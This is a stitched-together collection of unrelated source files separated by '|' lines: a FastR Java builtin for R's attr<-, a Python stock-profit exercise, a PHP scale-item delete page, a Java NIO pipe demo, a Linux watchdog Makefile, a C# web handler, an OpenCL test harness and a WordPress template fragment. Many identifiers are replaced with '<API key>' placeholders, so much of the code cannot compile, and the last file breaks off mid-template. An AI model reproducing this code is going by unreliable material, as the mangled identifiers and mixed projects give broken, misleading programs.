// notin to do here
|
package com.oracle.truffle.r.nodes.builtin.base;
import static com.oracle.truffle.r.nodes.builtin.CastBuilder.Predef.stringValue;
import static com.oracle.truffle.r.runtime.RError.Message.<API key>;
import static com.oracle.truffle.r.runtime.builtins.RBehavior.PURE;
import static com.oracle.truffle.r.runtime.builtins.RBuiltinKind.PRIMITIVE;
import com.oracle.truffle.api.CompilerDirectives;
import com.oracle.truffle.api.CompilerDirectives.TruffleBoundary;
import com.oracle.truffle.api.dsl.Cached;
import com.oracle.truffle.api.dsl.Fallback;
import com.oracle.truffle.api.dsl.Specialization;
import com.oracle.truffle.api.nodes.Node;
import com.oracle.truffle.r.nodes.attributes.RemoveAttributeNode;
import com.oracle.truffle.r.nodes.attributes.SetAttributeNode;
import com.oracle.truffle.r.nodes.attributes.<API key>.<API key>;
import com.oracle.truffle.r.nodes.attributes.<API key>.SetDimAttributeNode;
import com.oracle.truffle.r.nodes.attributes.<API key>.<API key>;
import com.oracle.truffle.r.nodes.builtin.RBuiltinNode;
import com.oracle.truffle.r.nodes.builtin.base.UpdateAttrNodeGen.InternStringNodeGen;
import com.oracle.truffle.r.nodes.unary.CastIntegerNode;
import com.oracle.truffle.r.nodes.unary.CastIntegerNodeGen;
import com.oracle.truffle.r.nodes.unary.CastListNode;
import com.oracle.truffle.r.nodes.unary.CastToVectorNode;
import com.oracle.truffle.r.nodes.unary.CastToVectorNodeGen;
import com.oracle.truffle.r.nodes.unary.GetNonSharedNode;
import com.oracle.truffle.r.runtime.RError;
import com.oracle.truffle.r.runtime.RError.Message;
import com.oracle.truffle.r.runtime.RRuntime;
import com.oracle.truffle.r.runtime.Utils;
import com.oracle.truffle.r.runtime.builtins.RBuiltin;
import com.oracle.truffle.r.runtime.data.RAttributable;
import com.oracle.truffle.r.runtime.data.RDataFactory;
import com.oracle.truffle.r.runtime.data.RNull;
import com.oracle.truffle.r.runtime.data.RShareable;
import com.oracle.truffle.r.runtime.data.RStringVector;
import com.oracle.truffle.r.runtime.data.model.RAbstractContainer;
import com.oracle.truffle.r.runtime.data.model.RAbstractIntVector;
import com.oracle.truffle.r.runtime.data.model.RAbstractVector;
@RBuiltin(name = "attr<-", kind = PRIMITIVE, parameterNames = {"x", "which", "value"}, behavior = PURE)
public abstract class UpdateAttr extends RBuiltinNode.Arg3 {
@Child private UpdateNames updateNames;
@Child private UpdateDimNames updateDimNames;
@Child private CastIntegerNode castInteger;
@Child private CastToVectorNode castVector;
@Child private CastListNode castList;
@Child private <API key> setClassAttrNode;
@Child private <API key> setRowNamesAttrNode;
@Child private SetAttributeNode setGenAttrNode;
@Child private SetDimAttributeNode setDimNode;
@Child private InternStringNode intern = InternStringNodeGen.create();
public abstract static class InternStringNode extends Node {
public abstract String execute(String value);
@Specialization(limit = "3", guards = "value == cachedValue")
protected static String internCached(@SuppressWarnings("unused") String value,
@SuppressWarnings("unused") @Cached("value") String cachedValue,
@Cached("intern(value)") String interned) {
return interned;
}
@Specialization(replaces = "internCached")
protected static String intern(String value) {
return Utils.intern(value);
}
}
static {
Casts casts = new Casts(UpdateAttr.class);
// Note: cannot check 'attributability' easily because atomic values, e.g int, are not
// RAttributable.
casts.arg("x");
casts.arg("which").defaultError(<API key>, "name").mustBe(stringValue()).asStringVector().findFirst();
}
private RAbstractContainer updateNames(RAbstractContainer container, Object o) {
if (updateNames == null) {
CompilerDirectives.<API key>();
updateNames = insert(UpdateNamesNodeGen.create());
}
return (RAbstractContainer) updateNames.executeStringVector(container, o);
}
private RAbstractContainer updateDimNames(RAbstractContainer container, Object o) {
if (updateDimNames == null) {
CompilerDirectives.<API key>();
updateDimNames = insert(<API key>.create());
}
return updateDimNames.<API key>(container, o);
}
private RAbstractIntVector castInteger(RAbstractVector vector) {
if (castInteger == null) {
CompilerDirectives.<API key>();
castInteger = insert(CastIntegerNodeGen.create(true, false, false));
}
return (RAbstractIntVector) castInteger.doCast(vector);
}
private RAbstractVector castVector(Object value) {
if (castVector == null) {
CompilerDirectives.<API key>();
castVector = insert(CastToVectorNodeGen.create(false));
}
return (RAbstractVector) castVector.doCast(value);
}
@Specialization
protected RNull updateAttr(@SuppressWarnings("unused") RNull nullTarget, @SuppressWarnings("unused") String attrName, @SuppressWarnings("unused") RNull nullAttrVal) {
return RNull.instance;
}
@Specialization
protected RAbstractContainer updateAttr(RAbstractContainer container, String name, RNull value,
@Cached("create()") RemoveAttributeNode removeAttrNode,
@Cached("create()") GetNonSharedNode nonShared) {
String internedName = intern.execute(name);
RAbstractContainer result = ((RAbstractContainer) nonShared.execute(container)).materialize();
// the name is interned, so identity comparison is sufficient
if (internedName == RRuntime.DIM_ATTR_KEY) {
if (setDimNode == null) {
CompilerDirectives.<API key>();
setDimNode = insert(SetDimAttributeNode.create());
}
setDimNode.setDimensions(result, null);
} else if (internedName == RRuntime.NAMES_ATTR_KEY) {
return updateNames(result, value);
} else if (internedName == RRuntime.DIMNAMES_ATTR_KEY) {
return updateDimNames(result, value);
} else if (internedName == RRuntime.CLASS_ATTR_KEY) {
if (setClassAttrNode == null) {
CompilerDirectives.<API key>();
setClassAttrNode = insert(<API key>.create());
}
setClassAttrNode.reset(result);
return result;
} else if (internedName == RRuntime.ROWNAMES_ATTR_KEY) {
if (setRowNamesAttrNode == null) {
CompilerDirectives.<API key>();
setRowNamesAttrNode = insert(<API key>.create());
}
setRowNamesAttrNode.setRowNames(result, null);
} else if (result.getAttributes() != null) {
removeAttrNode.execute(result, internedName);
}
return result;
}
@TruffleBoundary
protected static RStringVector <API key>(Object value) {
if (value instanceof RStringVector) {
return (RStringVector) value;
} else if (value instanceof String) {
return RDataFactory.createStringVector((String) value);
} else {
throw RError.error(RError.SHOW_CALLER, RError.Message.<API key>);
}
}
@Specialization(guards = "!isRNull(value)")
protected RAbstractContainer updateAttr(RAbstractContainer container, String name, Object value,
@Cached("create()") GetNonSharedNode nonShared) {
String internedName = intern.execute(name);
RAbstractContainer result = ((RAbstractContainer) nonShared.execute(container)).materialize();
// the name is interned, so identity comparison is sufficient
if (internedName == RRuntime.DIM_ATTR_KEY) {
RAbstractIntVector dimsVector = castInteger(castVector(value));
if (dimsVector.getLength() == 0) {
throw error(RError.Message.<API key>);
}
if (setDimNode == null) {
CompilerDirectives.<API key>();
setDimNode = insert(SetDimAttributeNode.create());
}
setDimNode.setDimensions(result, dimsVector.materialize().getDataCopy());
} else if (internedName == RRuntime.NAMES_ATTR_KEY) {
return updateNames(result, value);
} else if (internedName == RRuntime.DIMNAMES_ATTR_KEY) {
return updateDimNames(result, value);
} else if (internedName == RRuntime.CLASS_ATTR_KEY) {
if (setClassAttrNode == null) {
CompilerDirectives.<API key>();
setClassAttrNode = insert(<API key>.create());
}
setClassAttrNode.execute(result, <API key>(value));
return result;
} else if (internedName == RRuntime.ROWNAMES_ATTR_KEY) {
if (setRowNamesAttrNode == null) {
CompilerDirectives.<API key>();
setRowNamesAttrNode = insert(<API key>.create());
}
setRowNamesAttrNode.setRowNames(result, castVector(value));
} else {
// generic attribute
if (setGenAttrNode == null) {
CompilerDirectives.<API key>();
setGenAttrNode = insert(SetAttributeNode.create());
}
setGenAttrNode.execute(result, internedName, value);
}
return result;
}
/**
* All other, non-performance centric, {@link RAttributable} types.
*/
@Fallback
@TruffleBoundary
protected Object updateAttr(Object obj, Object name, Object value) {
assert name instanceof String : "casts should not pass anything but String";
Object object = obj;
if (object instanceof RShareable) {
object = ((RShareable) object).getNonShared();
}
String internedName = intern.execute((String) name);
if (object instanceof RAttributable) {
RAttributable attributable = (RAttributable) object;
if (value == RNull.instance) {
attributable.removeAttr(internedName);
} else {
attributable.setAttr(internedName, value);
}
return object;
} else if (RRuntime.isForeignObject(obj)) {
throw RError.error(this, Message.<API key>);
} else if (obj == RNull.instance) {
throw RError.error(this, Message.<API key>);
} else {
throw RError.nyi(this, "object cannot be attributed: ");
}
}
}
|
#! /usr/bin/env python3
'''
given a list of stock price ticks for the day, can you tell me what
trades I should make to maximize my gain within the constraints of the
market? Remember - buy low, sell high, and you can't sell before you
buy.
Sample Input
19.35 19.30 18.88 18.93 18.95 19.03 19.00 18.97 18.97 18.98
'''
import argparse
def parse_args():
parser = argparse.ArgumentParser(description='easy 249')
parser.add_argument('stock_prices', action='store', nargs='+',
help='prices of a given stock')
return parser.parse_args()
def stock(stock_prices):
buy_day = 0
max_profit = 0
max_buy = 0
max_sell = 0
for buy_day in range(len(stock_prices) - 2):
# maybe do a max(here)
for sell_day in range(buy_day + 2, len(stock_prices)):
profit = stock_prices[sell_day] - stock_prices[buy_day]
if profit > max_profit:
max_profit = profit
max_buy = buy_day
max_sell = sell_day
print("max profit: %.2f from buy on day %d at %.2f sell on day %d at %.2f" %
(max_profit, max_buy, stock_prices[max_buy], max_sell, stock_prices[max_sell]))
if __name__ == '__main__':
args = parse_args()
stock([float(price) for price in args.stock_prices])
|
<?php
require(dirname(__FILE__) . '/../config.php');
if (!class_exists('FannieAPI')) {
include($FANNIE_ROOT.'classlib2.0/FannieAPI.php');
}
if (basename(__FILE__) != basename($_SERVER['PHP_SELF'])) {
return;
}
$dbc = FannieDB::get($FANNIE_OP_DB);
include($FANNIE_ROOT.'auth/login.php');
$name = checkLogin();
if (!$name){
header("Location: {$FANNIE_URL}auth/ui/loginform.php?redirect={$FANNIE_URL}item/scaleDelete.php");
exit;
}
$user = validateUserQuiet('delete_items');
if (!$user){
echo "Not allowed";
exit;
}
$page_title = 'Fannie - Item Maintenance';
$header = 'Item Maintenance';
include('../src/header.html');
?>
<script type"text/javascript" src=ajax.js></script>
<?php
echo "<h1 style=\"color:red;\">Delete Scale PLU Tool</h1>";
if (isset($_REQUEST['upc']) && !isset($_REQUEST['deny'])){
$upc = BarcodeLib::padUPC(FormLib::get('upc'));
if (isset($_REQUEST['submit'])){
$p = $dbc->prepare_statement("SELECT * FROM scaleItems WHERE plu=?");
$rp = $dbc->exec_statement($p,array($upc));
if ($dbc->num_rows($rp) == 0){
printf("No item found for <b>%s</b><p />",$upc);
echo "<a href=\"scaleDelete.php\">Go back</a>";
}
else {
$rw = $dbc->fetch_row($rp);
echo "<form action=scaleDelete.php method=post>";
echo "<b>Delete this item?</b><br />";
echo "<table cellpadding=4 cellspacing=0 border=1>";
echo "<tr><th>UPC</th><th>Description</th><th>Price</th></tr>";
printf("<tr><td><a href=\"itemMain.php?upc=%s\" target=\"_new%s\">
%s</a></td><td>%s</td><td>%.2f</td></tr>",$rw['plu'],
$rw['plu'],$rw['plu'],$rw['itemdesc'],$rw['price']);
echo "</table><br />";
printf("<input type=hidden name=upc value=\"%s\" />",$upc);
echo "<input type=submit name=confirm value=\"Yes, delete this item\" />";
echo " ";
echo "<input type=submit name=deny value=\"No, keep this item\" />";
}
}
else if (isset($_REQUEST['confirm'])){
$plu = substr($upc,3,4);
$p = $dbc->prepare_statement("DELETE FROM scaleItems WHERE plu=?");
$rp = $dbc->exec_statement($p,array($upc));
include('hobartcsv/parse.php');
deleteitem($plu);
include('laneUpdates.php');
printf("Item %s has been deleted<br /><br />",$upc);
echo "<a href=\"scaleDelete.php\">Delete another item</a>";
}
}else{
echo "<form action=scaleDelete.php method=post>";
echo "<input name=upc type=text id=upc> Enter UPC/PLU here<br><br>";
echo "<input name=submit type=submit value=submit>";
echo "</form>";
echo "<script type=\"text/javascript\">
\$(document).ready(function(){ \$('#upc').focus(); });
</script>";
}
include ('../src/footer.html');
?>
|
package com.yao.app.java.nio.pipe;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.channels.Pipe;
public class Test {
public static void main(String[] args) {
try {
Pipe pipe = Pipe.open();
Thread t1 = new Thread(new MessageOutput(pipe));
Thread t2 = new Thread(new MessageInput(pipe));
t2.start();
Thread.sleep(1000);
t1.start();
} catch (Exception e) {
e.printStackTrace();
}
}
public static class MessageOutput implements Runnable {
private Pipe pipe;
public MessageOutput(Pipe pipe) {
this.pipe = pipe;
}
@Override
public void run() {
try {
String message = "hello world,libailugo";
ByteBuffer buf = ByteBuffer.wrap(message.getBytes());
Pipe.SinkChannel channel = pipe.sink();
int count = channel.write(buf);
channel.close();
System.out.println("send message:" + message + ",length:"
+ count);
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static class MessageInput implements Runnable {
private Pipe pipe;
public MessageInput(Pipe pipe) {
this.pipe = pipe;
}
@Override
public void run() {
try {
Pipe.SourceChannel channel = pipe.source();
ByteBuffer buf = ByteBuffer.allocate(10);
StringBuilder sb = new StringBuilder();
int count = channel.read(buf);
while (count > 0) {
// sb.append(new String(buf.array()));
sb.append(new String(buf.array(), 0, count));
buf.clear();
count = channel.read(buf);
}
channel.close();
System.out.println("recieve message:" + sb.toString());
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
|
# LiveQ - An interactive volunteering computing batch system
# This program is free software; you can redistribute it and/or
# as published by the Free Software Foundation; either version 2
# This program is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
import sys
import time
import logging
import jobmanager.io.agents as agents
import jobmanager.io.jobs as jobs
from jobmanager.config import Config
from peewee import fn
from liveq.models import Agent, AgentGroup, Jobs
# Setup logger
logger = logging.getLogger("teamqueue")
def processTeamQueue():
"""
This should be called periodically to check and schedule jobs pending for the
particular team
"""
pass
|
# Makefile for the WatchDog device drivers.
# Only one watchdog can succeed. We probe the ISA/PCI/USB based
# watchdog-cards first, then the architecture specific watchdog
# drivers and then the architecture independent "softdog" driver.
# This means that if your ISA/PCI/USB card isn't detected that
# you can fall back to an architecture specific driver and if
# that also fails then you can fall back to the software watchdog
# to give you some cover.
# ISA-based Watchdog Cards
obj-$(CONFIG_PCWATCHDOG) += pcwd.o
obj-$(CONFIG_MIXCOMWD) += mixcomwd.o
obj-$(CONFIG_WDT) += wdt.o
# PCI-based Watchdog Cards
obj-$(<API key>) += pcwd_pci.o
obj-$(CONFIG_WDTPCI) += wdt_pci.o
# USB-based Watchdog Cards
obj-$(<API key>) += pcwd_usb.o
# ALPHA Architecture
# ARM Architecture
obj-$(<API key>) += sp805_wdt.o
obj-$(<API key>) += at91rm9200_wdt.o
obj-$(<API key>) += at91sam9_wdt.o
obj-$(<API key>) += omap_wdt.o
obj-$(<API key>) += twl4030_wdt.o
obj-$(<API key>) += wdt285.o
obj-$(CONFIG_977_WATCHDOG) += wdt977.o
obj-$(<API key>) += ixp2000_wdt.o
obj-$(<API key>) += ixp4xx_wdt.o
obj-$(<API key>) += ks8695_wdt.o
obj-$(<API key>) += s3c2410_wdt.o
obj-$(<API key>) += sa1100_wdt.o
obj-$(<API key>) += mpcore_wdt.o
obj-$(<API key>) += ep93xx_wdt.o
obj-$(<API key>) += pnx4008_wdt.o
obj-$(CONFIG_IOP_WATCHDOG) += iop_wdt.o
obj-$(<API key>) += davinci_wdt.o
obj-$(<API key>) += orion_wdt.o
obj-$(<API key>) += coh901327_wdt.o
obj-$(<API key>) += stmp3xxx_wdt.o
obj-$(<API key>) += nuc900_wdt.o
obj-$(CONFIG_ADX_WATCHDOG) += adx_wdt.o
obj-$(<API key>) += imapx200_wdt.o
obj-$(<API key>) += imapx800_wdt.o
# AVR32 Architecture
obj-$(<API key>) += at32ap700x_wdt.o
# BLACKFIN Architecture
obj-$(CONFIG_BFIN_WDT) += bfin_wdt.o
# CRIS Architecture
# FRV Architecture
# H8300 Architecture
# X86 (i386 + ia64 + x86_64) Architecture
obj-$(CONFIG_ACQUIRE_WDT) += acquirewdt.o
obj-$(<API key>) += advantechwdt.o
obj-$(CONFIG_ALIM1535_WDT) += alim1535_wdt.o
obj-$(CONFIG_ALIM7101_WDT) += alim7101_wdt.o
obj-$(CONFIG_F71808E_WDT) += f71808e_wdt.o
obj-$(CONFIG_SP5100_TCO) += sp5100_tco.o
obj-$(CONFIG_GEODE_WDT) += geodewdt.o
obj-$(CONFIG_SC520_WDT) += sc520_wdt.o
obj-$(<API key>) += sbc_fitpc2_wdt.o
obj-$(CONFIG_EUROTECH_WDT) += eurotechwdt.o
obj-$(CONFIG_IB700_WDT) += ib700wdt.o
obj-$(CONFIG_IBMASR) += ibmasr.o
obj-$(CONFIG_WAFER_WDT) += wafer5823wdt.o
obj-$(CONFIG_I6300ESB_WDT) += i6300esb.o
obj-$(CONFIG_ITCO_WDT) += iTCO_wdt.o
ifeq ($(<API key>),y)
obj-$(CONFIG_ITCO_WDT) += iTCO_vendor_support.o
endif
obj-$(CONFIG_IT8712F_WDT) += it8712f_wdt.o
obj-$(CONFIG_IT87_WDT) += it87_wdt.o
obj-$(CONFIG_HP_WATCHDOG) += hpwdt.o
obj-$(CONFIG_SC1200_WDT) += sc1200wdt.o
obj-$(CONFIG_SCx200_WDT) += scx200_wdt.o
obj-$(CONFIG_PC87413_WDT) += pc87413_wdt.o
obj-$(CONFIG_NV_TCO) += nv_tco.o
obj-$(CONFIG_RDC321X_WDT) += rdc321x_wdt.o
obj-$(CONFIG_60XX_WDT) += sbc60xxwdt.o
obj-$(CONFIG_SBC8360_WDT) += sbc8360.o
obj-$(CONFIG_SBC7240_WDT) += sbc7240_wdt.o
obj-$(CONFIG_CPU5_WDT) += cpu5wdt.o
obj-$(<API key>) += sch311x_wdt.o
obj-$(<API key>) += smsc37b787_wdt.o
obj-$(CONFIG_W83627HF_WDT) += w83627hf_wdt.o
obj-$(CONFIG_W83697HF_WDT) += w83697hf_wdt.o
obj-$(CONFIG_W83697UG_WDT) += w83697ug_wdt.o
obj-$(CONFIG_W83877F_WDT) += w83877f_wdt.o
obj-$(CONFIG_W83977F_WDT) += w83977f_wdt.o
obj-$(CONFIG_MACHZ_WDT) += machzwd.o
obj-$(<API key>) += sbc_epx_c3.o
obj-$(<API key>) += intel_scu_watchdog.o
# M32R Architecture
# M68K Architecture
obj-$(<API key>) += m54xx_wdt.o
# MIPS Architecture
obj-$(CONFIG_ATH79_WDT) += ath79_wdt.o
obj-$(CONFIG_BCM47XX_WDT) += bcm47xx_wdt.o
obj-$(CONFIG_BCM63XX_WDT) += bcm63xx_wdt.o
obj-$(CONFIG_RC32434_WDT) += rc32434_wdt.o
obj-$(CONFIG_INDYDOG) += indydog.o
obj-$(CONFIG_JZ4740_WDT) += jz4740_wdt.o
obj-$(CONFIG_WDT_MTX1) += mtx-1_wdt.o
obj-$(CONFIG_PNX833X_WDT) += pnx833x_wdt.o
obj-$(CONFIG_SIBYTE_WDOG) += sb_wdog.o
obj-$(CONFIG_AR7_WDT) += ar7_wdt.o
obj-$(CONFIG_TXX9_WDT) += txx9wdt.o
obj-$(CONFIG_OCTEON_WDT) += octeon-wdt.o
octeon-wdt-y := octeon-wdt-main.o octeon-wdt-nmi.o
obj-$(CONFIG_LANTIQ_WDT) += lantiq_wdt.o
# PARISC Architecture
# POWERPC Architecture
obj-$(CONFIG_GEF_WDT) += gef_wdt.o
obj-$(CONFIG_8xxx_WDT) += mpc8xxx_wdt.o
obj-$(CONFIG_MV64X60_WDT) += mv64x60_wdt.o
obj-$(CONFIG_PIKA_WDT) += pika_wdt.o
obj-$(CONFIG_BOOKE_WDT) += booke_wdt.o
# PPC64 Architecture
obj-$(<API key>) += wdrtas.o
# S390 Architecture
# SUPERH (sh + sh64) Architecture
obj-$(CONFIG_SH_WDT) += shwdt.o
# SPARC Architecture
# SPARC64 Architecture
obj-$(CONFIG_WATCHDOG_RIO) += riowd.o
obj-$(<API key>) += cpwd.o
# XTENSA Architecture
# Xen
obj-$(CONFIG_XEN_WDT) += xen_wdt.o
# Architecture Independent
obj-$(<API key>) += wm831x_wdt.o
obj-$(<API key>) += wm8350_wdt.o
obj-$(<API key>) += max63xx_wdt.o
obj-$(<API key>) += softdog.o
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.SessionState;
using System.Data;
namespace Schoolxm.html
{
<summary>
Home
</summary>
public class Home : IHttpHandler, <API key>
{
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/html";
string userName = (string)context.Session["LoginUserName"];
string time = SqlHelper.ExecuteScalar("select VisitTime from T_VisitTime where TID=1").ToString();
if (userName == null)
{
DataTable dt = SqlHelper.ExecuteDataTable("select top 5 * from T_News order by time desc;");
string str = @"<a href=""/UserLogin.ashx?Action=Log""></a> | <a href=""/UserRegister.ashx?UserReg=Reg""></a>";
var data = new { Title = "", News = dt.Rows, time, str };
string html = CommonHelper.RenderHtml("../html/HomeNoName.htm", data);
context.Response.Write(html);
}
else
{
DataTable dt = SqlHelper.ExecuteDataTable("select top 5 * from T_News order by time desc;");
string str = @": " + userName + " ";
var data = new { Title = "", News = dt.Rows, str, time };
string html = CommonHelper.RenderHtml("../html/HomeHavName.htm", data);
context.Response.Write(html);
}
}
public bool IsReusable
{
get
{
return false;
}
}
}
}
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <CL/cl.h>
unsigned char *read_buffer(char *file_name, size_t *size_ptr)
{
FILE *f;
unsigned char *buf;
size_t size;
/* Open file */
f = fopen(file_name, "rb");
if (!f)
return NULL;
/* Obtain file size */
fseek(f, 0, SEEK_END);
size = ftell(f);
fseek(f, 0, SEEK_SET);
/* Allocate and read buffer */
buf = malloc(size + 1);
fread(buf, 1, size, f);
buf[size] = '\0';
/* Return size of buffer */
if (size_ptr)
*size_ptr = size;
/* Return buffer */
return buf;
}
void write_buffer(char *file_name, const char *buffer, size_t buffer_size)
{
FILE *f;
/* Open file */
f = fopen(file_name, "w+");
/* Write buffer */
if(buffer)
fwrite(buffer, 1, buffer_size, f);
/* Close file */
fclose(f);
}
int main(int argc, char const *argv[])
{
/* Get platform */
cl_platform_id platform;
cl_uint num_platforms;
cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformIDs' failed\n");
exit(1);
}
printf("Number of platforms: %d\n", num_platforms);
printf("platform=%p\n", platform);
/* Get platform name */
char platform_name[100];
ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetPlatformInfo' failed\n");
exit(1);
}
printf("platform.name='%s'\n\n", platform_name);
/* Get device */
cl_device_id device;
cl_uint num_devices;
ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceIDs' failed\n");
exit(1);
}
printf("Number of devices: %d\n", num_devices);
printf("device=%p\n", device);
/* Get device name */
char device_name[100];
ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name),
device_name, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clGetDeviceInfo' failed\n");
exit(1);
}
printf("device.name='%s'\n", device_name);
printf("\n");
/* Create a Context Object */
cl_context context;
context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateContext' failed\n");
exit(1);
}
printf("context=%p\n", context);
/* Create a Command Queue Object*/
cl_command_queue command_queue;
command_queue = <API key>(context, device, 0, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to '<API key>' failed\n");
exit(1);
}
printf("command_queue=%p\n", command_queue);
printf("\n");
/* Program source */
unsigned char *source_code;
size_t source_length;
/* Read program from 'sub_sat_char2char2.cl' */
source_code = read_buffer("sub_sat_char2char2.cl", &source_length);
/* Create a program */
cl_program program;
program = <API key>(context, 1, (const char **)&source_code, &source_length, &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to '<API key>' failed\n");
exit(1);
}
printf("program=%p\n", program);
/* Build program */
ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL);
if (ret != CL_SUCCESS )
{
size_t size;
char *log;
/* Get log size */
<API key>(program, device, <API key>,0, NULL, &size);
/* Allocate log and print */
log = malloc(size);
<API key>(program, device, <API key>,size, log, NULL);
printf("error: call to 'clBuildProgram' failed:\n%s\n", log);
/* Free log and exit */
free(log);
exit(1);
}
printf("program built\n");
printf("\n");
/* Create a Kernel Object */
cl_kernel kernel;
kernel = clCreateKernel(program, "sub_sat_char2char2", &ret);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clCreateKernel' failed\n");
exit(1);
}
/* Create and allocate host buffers */
size_t num_elem = 10;
/* Create and init host side src buffer 0 */
cl_char2 *src_0_host_buffer;
src_0_host_buffer = malloc(num_elem * sizeof(cl_char2));
for (int i = 0; i < num_elem; i++)
src_0_host_buffer[i] = (cl_char2){{2, 2}};
/* Create and init device side src buffer 0 */
cl_mem src_0_device_buffer;
src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_char2), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = <API key>(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_char2), src_0_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to '<API key>' failed\n");
exit(1);
}
/* Create and init host side src buffer 1 */
cl_char2 *src_1_host_buffer;
src_1_host_buffer = malloc(num_elem * sizeof(cl_char2));
for (int i = 0; i < num_elem; i++)
src_1_host_buffer[i] = (cl_char2){{2, 2}};
/* Create and init device side src buffer 1 */
cl_mem src_1_device_buffer;
src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_char2), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create source buffer\n");
exit(1);
}
ret = <API key>(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_char2), src_1_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to '<API key>' failed\n");
exit(1);
}
/* Create host dst buffer */
cl_char2 *dst_host_buffer;
dst_host_buffer = malloc(num_elem * sizeof(cl_char2));
memset((void *)dst_host_buffer, 1, num_elem * sizeof(cl_char2));
/* Create device dst buffer */
cl_mem dst_device_buffer;
dst_device_buffer = clCreateBuffer(context, CL_MEM_WRITE_ONLY, num_elem *sizeof(cl_char2), NULL, &ret);
if (ret != CL_SUCCESS)
{
printf("error: could not create dst buffer\n");
exit(1);
}
/* Set kernel arguments */
ret = CL_SUCCESS;
ret |= clSetKernelArg(kernel, 0, sizeof(cl_mem), &src_0_device_buffer);
ret |= clSetKernelArg(kernel, 1, sizeof(cl_mem), &src_1_device_buffer);
ret |= clSetKernelArg(kernel, 2, sizeof(cl_mem), &dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clSetKernelArg' failed\n");
exit(1);
}
/* Launch the kernel */
size_t global_work_size = num_elem;
size_t local_work_size = num_elem;
ret = <API key>(command_queue, kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to '<API key>' failed\n");
exit(1);
}
/* Wait for it to finish */
clFinish(command_queue);
/* Read results from GPU */
ret = clEnqueueReadBuffer(command_queue, dst_device_buffer, CL_TRUE,0, num_elem * sizeof(cl_char2), dst_host_buffer, 0, NULL, NULL);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clEnqueueReadBuffer' failed\n");
exit(1);
}
/* Dump dst buffer to file */
char dump_file[100];
sprintf((char *)&dump_file, "%s.result", argv[0]);
write_buffer(dump_file, (const char *)dst_host_buffer, num_elem * sizeof(cl_char2));
printf("Result dumped to %s\n", dump_file);
/* Free host dst buffer */
free(dst_host_buffer);
/* Free device dst buffer */
ret = clReleaseMemObject(dst_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 0 */
free(src_0_host_buffer);
/* Free device side src buffer 0 */
ret = clReleaseMemObject(src_0_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Free host side src buffer 1 */
free(src_1_host_buffer);
/* Free device side src buffer 1 */
ret = clReleaseMemObject(src_1_device_buffer);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseMemObject' failed\n");
exit(1);
}
/* Release kernel */
ret = clReleaseKernel(kernel);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseKernel' failed\n");
exit(1);
}
/* Release program */
ret = clReleaseProgram(program);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseProgram' failed\n");
exit(1);
}
/* Release command queue */
ret = <API key>(command_queue);
if (ret != CL_SUCCESS)
{
printf("error: call to '<API key>' failed\n");
exit(1);
}
/* Release context */
ret = clReleaseContext(context);
if (ret != CL_SUCCESS)
{
printf("error: call to 'clReleaseContext' failed\n");
exit(1);
}
return 0;
}
|
<?php $count=0; ?>
<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
<section id="post-<?php the_ID(); ?>" <?php ++$count%2 ? post_class( 'archive col-1-2' ) : post_class( 'archive col-1-2 reverse' ); ?>>
<?php the_post_thumbnail( '<API key>' ); ?>
<header><a href="<?php the_permalink(); ?>" title="For More Info on <?php the_title_attribute(); ?>"><?php the_title( '<h2>', '</h2>'); ?></a></header>
<small class="meta">Posted by <?php the_author() ?></small>
<small class="meta"><a href="<?php the_permalink(); ?>" title="For More Info on <?php the_title_attribute(); ?>"><time datetime="<?php the_time( 'Y-m-d' ); ?>" ><?php the_time( 'D, M jS, Y' ) ?></time></a></small>
<small class="comments"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a comment', 'steampunkd' ) . '</span>', __( 'One comment so far', 'steampunkd' ), __( 'View all % comments', 'steampunkd' ) ); ?><?php edit_post_link( 'Edit', ' | ', '' ); ?></small>
<?php if( !<API key>() ) the_excerpt(); ?>
